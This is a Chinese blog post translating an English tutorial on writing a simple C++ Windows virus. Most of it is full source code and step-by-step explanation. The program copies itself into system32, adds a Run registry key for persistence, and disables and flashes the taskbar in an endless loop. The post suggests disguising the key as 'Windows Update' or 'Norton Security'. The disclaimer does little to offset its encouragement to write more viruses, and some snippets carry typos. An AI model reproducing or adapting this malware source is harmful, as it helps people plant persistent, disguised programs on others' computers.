Smith Guide to simple C++ Viruses(译)

快两年没有上过我的csdn博客了,主要是由于毕业后换了校园网的速度太慢。最后有感觉了,觉得应该在我研究生毕业前做一些东西,起码减少一点遗憾吧。所以,今后的工作日记将从QQ空间搬回来。呵呵,希望各位朋友喜欢。也希望更多的朋友能一起交流学习!

 

 

好的,首先开始之前明确两件事:

1.  本向导只为那些想学习的朋友提供

2.  我并不认同任何形式的病毒释放

 

如果你和我一样也认同以上两点,我十分欢迎你进入病毒编程的世界。我希望通过这篇文章你也很快像我那样对病毒编写那样着迷,并通过继续学习写出自己的独特病毒。

 

我所看过的许多病毒编写入门向导,片幅都过长,枯燥和过时,此向导打算以简短而生动的形式向你描述如何编写一个计算机病毒。请注意以下你是开始编写时所必须准备好的:

 

l         WIN32 API Reference ß 并不是必须但却很有用

l         C++ 编译器 ----我推荐那些不想购买编译器的人使用DEVMicrosoft Visual C++ 6.0对于那些有钱的人和严谨的程序员来说是好的选择。然而对于这篇文章DEV够了

 

即使你在阅读此向导前并没有任何编程经验,这并不影响,但如果你了解一点C++编程知识,这将十分有帮助。

 

首先,我们从Win32编程入手。对于DEV用户选择建立新的Win32 GUI,对于MSVC用户选择建立一个Win32工程。如果是DEV,那么将生成一些GUI应用程序代码,那么请删除那些多余的代码使得它与下面所示代码一致:

 

参考:

#include <windows.h>

 

int WINAPI WinMain(HINSTANCE hThisInstance, HINSTANCE PreInstance,

LPSTR lpszArgumentm, int nFunsterstil)

{

       return 0;

}

 

接下来编译和运行代码,你会发现并没有什么发生(如果有一个黑色的窗口弹出,很不幸你创建的工程是控制台工程,请重新创建)。并没有什么发现是因为程序并没有做任何东西。它仅是运动并退出。要让程序工作,首先在花括号{}return 0;之前加入这些代码至工程文件。

 

MessageBox(NULL, “Hello”, “Messagebox Example”, MB_OK);

 

现在再次编译并运行程序。一个消息框架应该就会弹出,cool吧?但它并不是一个病毒程序所做的事,让我们加些更好玩的代码进去吧。加入以下代码至你的工程中:

 

参考:

char system[MAX_PATH];

char pathtofile[MAX_PATH];

HMODULE GetModeH = GetModuleHandle(NULL);

 

GetModuleFileName(GetModH, pathotfile, sizeof(pathtofile));

GetSystemDirectory(system, sizeof(system));

 

strcat(system, //virus.exe);

 

CopyFile(pathtofile, system, false);

 

MessageBox(NULL, “Hello”, “Messagbox Example”, MB_OK);

 

请再次确认代码是插入在return 0; 之前和花括号{}内。好的,如果一切无误,再次编译和运行代码,现在请打开你windows下的system32目录。(如果你不知道如何找到此目录,那么请在“运行”键入:%windir%system32)。好的,在system32目录下找到名为virus.exe的文件。不相信它是我们的编程的“病毒”?双击运行它就会弹出一个“Hello”的对话框。

 

cool吧?好的是时候解释一下我们的代码是如何运行的了:

 

char system[MAX_PATH]; 此用于缓冲system32目录的路径

char pathtofile[MAX_PATH]; 此用于缓冲我们当前病毒运行的路径

 

HMODEULE GetModH = GetModuleHandle(NULL); 这一条语句可能比较难以理解。GetModH用于保存我们病毒的句柄,而句柄通过GetModuleHandle()返回。

 

GetModuleFileName(GetModH, pathtofile, sizeof(pathtofile)); 此条语句用于获取我们病毒程序的文件名,并把它保存至pathtofile中。

 

GetSystemDirectory(system, sizeof(system)); 此语句找到你的系统文件夹的位置。因为有些人可能并不是把系统文件夹存为默认的C:/windows/system32. 例如, 我的就是d:/winnt/system32, 出于此我们需要调用此语句以拷贝至已存在的系统文件夹。

 

Strcat(system, //virus.exe); 好的我们已有系统文件夹路径,此函数仅是把文件名与拷贝的文件夹路径关联,例如调用后我们的文件路径就为:C:/windows/system32/virus.exe。这里使用//是因为/C++中需要转义

 

CopyFile(pathtofile, system, false); 很明显这语句是执行拷贝功能,把我们的病毒拷贝至我们想要的地方。参数false指示如果viruse.exe已经存在,那么它将会覆盖它,如果你想改变这种方式,你可以选择设为true(在本向导里,都将设为false

 

好的,接下来我们继续加入代码。使得程序能够随计算机启动而启动。我们将通过调用3API来完成此功能:

l         RegOpenKeyEx(); 此函数用于打开我们想写的的注册表键

l         RegSetValueEx(); 此函数用于设置键值

l         RegCloseKey(); 此函数用于关闭键

 

是时候把代码加入到我们之前的病毒程序了:

 

参考:

HKEY hKey;

 

RegOpenKeyEx(HKEY_LOCAL_MACHINE, “Software//Micorsoft//Windows//CurrentVersion//Run”, 0, KEY_SET_VALUE, &hKey);

 

RegSetValueEx(hKey, “Writing to Registry Example”, 0, REG_SZ, (const unsigned char*)system, sizeof(system));

 

RegCloseKey(hKey);

 

好的,相对于之前这里可能需要更多的解释。HKEY hKey是用于保存注册表项的缓冲区。RegOpenKeyEx打开键Software//Micorsoft//Windows//CurrentVersion//Run 此键是用于记录所有用户想启动的启动项。0是保留值,所以需要设置为0。我们需要设置找开键的方式,因此设置KEY_SET_VALUE。接着我们传入缓冲区作为参数。

 

接下来调用, hKey是之前键的缓冲变量,“Writing to the registry Example”是键的信息,你可能随意更改,例如改成“Winodws Update”或“Norton Security”。接下来0也是保留值。REG_SZ是我们想要的键值类型。还存在其它类型,例如REG_BINARY REG_DWORD,但对于文本值,我们使用REG_SZ。需要(const unsigned char*)类型变换是因为调用并不接受一般的字符串。system是保存着我们病毒路径的缓冲变量,最后一个参数是字符串的大小,这可以通过sizeof来自动计算。

 

接下来的调用是关闭键。

 

好的,目前你的代码应该就如下面所示:

参考:

 

#include <windows.h>

 

int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance,

                            LPSTR lpszArgument, int nFunsterStil)

 

{

 

char system[MAX_PATH];

char pathtofile[MAX_PATH];

HMODULE GetModH = GetModuleHandle(NULL);

 

GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));

GetSystemDirectory(system,sizeof(system));

 

strcat(system,”//virus.exe”);

 

CopyFile(pathtofile,system,false);

 

 

HKEY hKey;

 

RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software//Microsoft//Windows//CurrentVersion//Run",0,KEY_SET_VALUE,&hKey );

 

RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system));

 

RegCloseKey(hKey);

 

 return 0;

}

 

 

现在运行你的代码,并打开注册表,浏览HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run应该就可以看到我们新加入的键。

 

接下来就是我们写病毒最有趣的地方了,我们将写一个payload!它可以任意的代码,从Ddos到使得你的鼠标在屏幕上乱跳。注意具有破坏性的payload是病毒社区反对的,所以请你真的是喜爱并不是出于破坏计算机而编程病毒程序。写一个不具有破坏性的payload是相当有趣的。让我们一起看看如何写一个payload。我曾写过一个并命名为Flasher

 

现在你可以看看附上的这段代码。

 

参考:

#include <windows.h>

 

int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance,

                            LPSTR lpszArgument, int nFunsterStil)

 

{

 

char system[MAX_PATH];

char pathtofile[MAX_PATH];

HMODULE GetModH = GetModuleHandle(NULL);

 

GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));

GetSystemDirectory(system,sizeof(system));

 

strcat(system,”//virus.exe”);

 

CopyFile(pathtofile,system,false);

 

 

HKEY hKey;

 

RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software//Microsoft//Windows//CurrentVersion//Run",0,KEY_SET_VALUE,&hKey );

 

RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system));

 

RegCloseKey(hKey);

 

HWND hWin;

 

hWin = FindWindow("Shell_TrayWnd",NULL);

EnableWindow(hWin,false);

 

while(1==1)

{

ShowWindow(hWin,false);

Sleep(1000);

ShowWindow(hWin,true);

Sleep(1000);

}

 

 return 0;

}

 

虽然此段代码很小,但请不要小看它,它的运动的确会让你扔鼠标。:)要终止它请按ctrl+alt+delete在任务管理器中结束virus.exe进程,然后找到explorer.exe并终止它。最后打开任务管理器->运行键入“explorer.exe”(注意不要加引号)。如果病毒并不起作用,那么把EnableWindowShowWindowtruefalse

 

这是我这次想告诉你的,下次我再讨论更深入的话题。届时我将告诉你如何关闭你的任务管理器。多尝试调用已存在的成百上千种API,你也可以实现更多东西。如果你运行时发现有错误,那么95%都是因为拼写错误导致,请认真核对你的程序是否与向导的一致。

 

加油,不断尝试写程序。

Smith

 

 

附原文地址:http://www.rohitab.com/discuss/index.php?showtopic=11308

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值